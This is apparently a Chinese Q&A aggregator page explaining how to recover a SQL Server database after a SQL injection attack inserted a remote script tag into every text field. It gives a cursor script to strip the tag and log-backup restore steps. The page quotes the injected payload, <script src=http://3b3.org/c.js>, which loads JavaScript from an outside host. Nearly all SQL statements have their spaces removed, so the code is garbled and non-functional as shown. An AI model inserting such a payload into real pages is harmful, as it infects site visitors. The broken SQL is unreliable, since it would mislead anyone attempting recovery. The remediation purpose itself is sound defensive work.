當前位置:首頁 » 編程語言 » jssql注入

jssql注入

發布時間: 2025-01-01 14:43:15

1. 網站資料庫sql注入後應該怎麼辦

之前做過了一個網站,由於沒有對頁面參數進行驗證,掛上去沒多長時間就被人掛馬了,資料庫的每個表每個欄位內容里都被注入了一段代碼,什麼在資料庫中還新建了自己的表,真是太囂張了,但是這么多內容是不可能手動去刪除的,解決過程如下

一、首先刪除資料庫被注入的代碼

如統一刪除<script src=http://3b3.org/c.js> </script> (此適用於sql server)

DECLAREhCForEachCURSORGLOBAL
FOR
SELECTN'update'+QUOTENAME(o.name)
+N'set'+QUOTENAME(c.name)+N'=replace(CAST('+QUOTENAME(c.name)+'asvarchar(8000)),''<scriptsrc=http://3b3.org/c.js></script>'','''')'
FROMsysobjectso,syscolumnsc,systypest
WHEREo.id=c.id
ANDOBJECTPROPERTY(o.id,N'IsUserTable')=1
ANDc.xusertype=t.xusertype
AND(t.name='varchar'ort.name='ntext')
EXECsp_MSforeach_Worker@command1=N'?'

注意這樣刪除之後 ntext欄位將被截斷成8000個字元 導致數據丟失,當然其實在sql注入之前這種欄位屬性已經被截斷了,所以在刪除這些之後還要進行數據恢復但是 網站被掛馬往往是隨機的不知道什麼時候 我們可能沒有做及時的備份,無法恢復

這時候我們可以考慮從資料庫日誌進行恢復

1,如果誤操作之前存在一個全庫備份(或已有多個差異備份或增量備份),首先要做的事就是進進行一次日誌備份(如果為了不讓日誌文件變大而置trunc. log on chkpt.選項為1那你就死翹了)

backuplogdbNametodisk='fileName'

2,恢復一個全庫備份,注意需要使用with norecovery,如果還有其他差異或增量備份,則逐個恢復

restoredatabasedbNamefromdisk='fileName'withnorecovery

3,恢復最後一個日誌備份即剛做的日誌備份,指定恢復時間點到誤操作之前的時刻

restorelogdbNamefromdisk='fileName'
withstopat='date_time'

最後就是把網站的漏洞補上 對參數進行過濾

熱點內容
優酷怎麼給視頻加密 發布:2025-05-14 19:31:34 瀏覽:633
夢三國2副本腳本 發布:2025-05-14 19:29:58 瀏覽:859
phpxmlhttp 發布:2025-05-14 19:29:58 瀏覽:432
Pua腳本 發布:2025-05-14 19:24:56 瀏覽:448
蘋果像素低為什麼比安卓好 發布:2025-05-14 19:13:23 瀏覽:460
安卓機微信怎麼設置紅包提醒 發布:2025-05-14 19:00:15 瀏覽:271
androidsystem許可權設置 發布:2025-05-14 18:56:02 瀏覽:970
mq腳本 發布:2025-05-14 18:45:37 瀏覽:25
仙境傳說ro解壓失敗 發布:2025-05-14 18:45:01 瀏覽:868
betweenand的用法sql 發布:2025-05-14 18:39:25 瀏覽:250